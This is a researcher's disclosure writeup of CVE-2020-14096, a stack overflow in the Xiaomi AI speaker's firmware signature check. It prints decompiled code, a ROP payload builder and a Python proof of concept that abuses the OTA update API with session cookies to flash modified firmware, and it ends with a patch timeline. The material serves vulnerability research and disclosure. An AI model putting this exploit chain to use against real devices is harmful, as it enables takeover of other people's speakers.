Xiaomi AI Speaker Authenticated RCE III: CVE-2020-14096

This three-part writeup details the journey of finding and exploiting a vulnerability in Xiaomi AI Speaker (MICO S12A) without a physical peripheral (UART). Part III talks about a stack overflow vulnerability in MICO's signature verification process.

Xiaomi AI Speaker Authenticated RCE III: CVE-2020-14096

Author: Otis Chang

This three-part writeup details the journey of finding and exploiting a vulnerability in Xiaomi AI Speaker (MICO S12A) without a physical peripheral (UART). The vulnerability, CVE-2020-14096, was fixed in 1.59.6.


Introduction

Finally, let's talk about the vulnerability in MICO's signature verification process. The previous post (part II) mentioned that /bin/miso verifies the firmware only once. If the verification is not secure, we can flash the trojan firmware.

CVE-2020-14096

In /bin/miso, there is a buffer overflow vulnerability. The following is the pseudo-code of /bin/miso's verification function.
At line 13, the program fills signature_buffer with zeros. The size of signature_buffer is 0x1000. The program reads the signature header into memory at line 31. Then, it reads the signature data according to the signature_length field in the SignatureHeader (line 36).

The field signature_length can be controlled by the attacker, and the program has no boundary checks. Therefore, it eventually leads to a stack overflow.

int do_verify(FILE *fp, int skip_signature_verification)

{
  size_t read_length;
  long firmware_size;
  unsigned int checksum;
  int ret_val;
  unsigned char signature_buffer[4096];
  SignatureHeader sig_hdr;
  ImageHeader img_hdr;
  int ret_code;
  
  memset(signature_buffer, 0, 0x1000);
  rewind(fp);
  read_length = fread(&img_hdr, 1, 0x30, fp);
  if (read_length == 0x30) {
    ret_val = check_magic(img_hdr.magic);
    if (ret_val == 0) {
      ret_val = check_model((unsigned int)img_hdr.model_idx);
      if (ret_val == 0) {
        firmware_size = get_firmware_size(fp);
        rewind(fp);
        checksum = calc_crc32_checksum(fp, 0xc, firmware_size - 0xc);
        if (img_hdr.checksum == checksum) {
          if (skip_signature_verification == 0) {
            fseek(fp, img_hdr.signature_offset, 0);
            read_length = fread(&sig_hdr, 1, 0x10, fp);
            if (read_length != 0x10) {
              return -5;
            }
            read_length = fread(signature_buffer, 1, sig_hdr.signature_length, fp);
            if (sig_hdr.signature_length != read_length) {
              return -5;
            }
            rewind(fp);
            ret_code = check_signature(fp, 0xc, img_hdr.signature_offset - 0xc, signature_buffer, sig_hdr.signature_length);
          }
          else {
            ret_code = 0;
          }
          if (ret_code == 0) {
            ret_val = 0;
          }
          else {
            fwrite("Image verify failed, not formal image\n", 1, 0x26, stderr);
            ret_val = -0x16;
          }
        }
        else {
          fwrite("Image checksum is invalid\n", 1, 0x1a, stderr);
          ret_val = -0x16;
        }
      }
      else {
        fwrite("Model mismatch\n", 1, 0xf, stderr);
        ret_val = -0x16;
      }
    }
    else {
      fwrite("Invalid image block\n", 1, 0x14, stderr);
      ret_val = -0x16;
    }
  }
  else {
    ret_val = -5;
  }
  return ret_val;
}

ROP Gadgets

In part II, I mentioned that /bin/flash.sh only checks /bin/miso's return value (zero == genuine) once.

Using Return-oriented programming (ROP) technique, I successfully craft an exit(0) command to return zero with only 2 gadgets (MICO firmware: 1.34.36).

def mk_payload(signature_offset):
    # 0x00010f68 : pop {r3, pc}
    # 0x0001110C : exit_plt
    # 0x00013be0 : mov r1, r8 ; mov r0, r7, blx r3
    # r7, r8 is always zero, so we could take it as the func_exit argument 
    pop_r3_pc_adr = b'\x68\x0f\x01\x00'
    exit_plt = b'\x0c\x11\x01\x00'
    mov_r1_r0_adr = b'\xe0\x3b\x01\x00'

    # signature buffer
    payload = b'A' * 4096
    # signature length
    payload += b'\x68\x10\x00\x00' + b'\x00' * 12
    # fake image_header
    payload += b'\x48\x44\x52\x31' + signature_offset.to_bytes(4, 'little') + b'A' * 40
    # padding
    payload += b'A' * 0x1C
    payload += pop_r3_pc_adr
    payload += exit_plt
    payload += mov_r1_r0_adr

    return payload

Finally, the following condition in /bin/flash.sh will become true:

if [ "$?" = "0" ]; then
	klogger "Checksum O.K."`

Remote Exploit

MICO's upgrade API (/remote/ota/v2) accepts any firmware URL, even if it is not a Xiaomi's domain name. You can get the cookie from your phone. For example, I used the Burp Suite to grab the Cookie. MICO App will keep sending get_player_play_status requests to the server. It contains the Cookie needed to send the OTA update request.

Xiaomi's API server does not verify the checksum and requestId format. Thus, you can insert random hex strings.
However, Xiaomi applies some WAF on the url field. It seems that the url field must start with http, and the field cannot contain some common symbols used in command injection.

POST /remote/ota/v2 HTTP/1.1
Host: tw.api2.mina.mi.com
Cookie: userId=<USER_ID>;serviceToken=<SERVICE_TOKEN>;micoapi_serviceToken=<MICOAPI_SERVICE_TOKEN>;deviceId=<DEVICE_ID>;sn=<SERIAL_NUMBER>
User-Agent: MISoundBox/2.1.25 (com.xiaomi.mico; build:2.1.56; iOS 13.7.0) Alamofire/4.9.1 MICO/iOSApp/appStore/2.1.25

checksum=<FIRMWARE_MD5>&deviceId=<DEVICE_ID>&extra=&hardware=S12A&requestId=<RANDOM_HEX>&url=<FIRMWARE_URL>&version=<FIRMWARE_VERSION>

PoC Script (excerpt):

def genRequestId():
    return base64.b64encode(uuid.uuid4().bytes).decode().strip('=')

firmware_url = 'http://example.com/mico_all_0f70e_1.34.36_mod.bin'

headers = {
    'Content-Type': "application/x-www-form-urlencoded; charset=utf-8",
    'Cookie': f"userId={USER_ID};serviceToken={SERVICE_TOKEN};micoapi_serviceToken={MICOAPI_SERVICE_TOKEN};deviceId={DEVICE_ID};sn={SERIAL_NUMBER}", 
    'User-Agent': "MISoundBox/2.1.25 (com.xiaomi.mico; build:2.1.56; iOS 13.7.0) Alamofire/4.9.1 MICO/iOSApp/appStore/2.1.25"
}

data = {
    "checksum": os.urandom(16).hex(),  # md5 hash
    "deviceId": f'{DEVICE_ID}',
    "extra": '{"cfe": 1000002, "linux": 1, "rootfs": 1, "weight": 1, "sqafs": 1, "ramfs": 1}',
    "hardware": "S12A",
    "requestId": genRequestId(),
    "url": firmware_url,
    "version": f'{VERSION}'
}


url_encoded = urlencode(data)
    # print(url_encoded)

req =  request.Request(ota_api, headers=headers, data=url_encoded.encode('utf-8'))

rsp = request.urlopen(req)

print(rsp.getcode())
print(rsp.read().decode('utf-8'))

Note

  • You have to re-calculate the CRC32 checksum if you modify any segment.
  • Xiaomi Speaker has many models and different update channels. Xiaomi does not push update to all channels. For example, model id: s12a's latest firmware is 1.34.39 (Taiwan channel). (Updated on Sep. 15 2020)
  • Xiaomi allows user downgrading their devices. Even if you have upgraded to the latest formware, an attacker can first downgrade your device and then flash the malicious firmware.

Report and Patch Timeline

  • Sep. 17, 2019 Bug report was sent to Xiaomi (email)
  • Sep. 20, 2019 Got First response: the report is under reviewed
  • Sep. 29, 2019 Xiaomi confirmed that the vulnerability exists and sent a HackerOne (H1) invitation email
  • Sep. 30, 2019 Bug report was submitted to H1
  • Sep. 30, 2019 Got bug bounty reward, and Xiaomi changed H1 status to 'triage'
  • Sep. 07, 2020 Patch released and got the CVE acknowledgment, CVE-2020-14096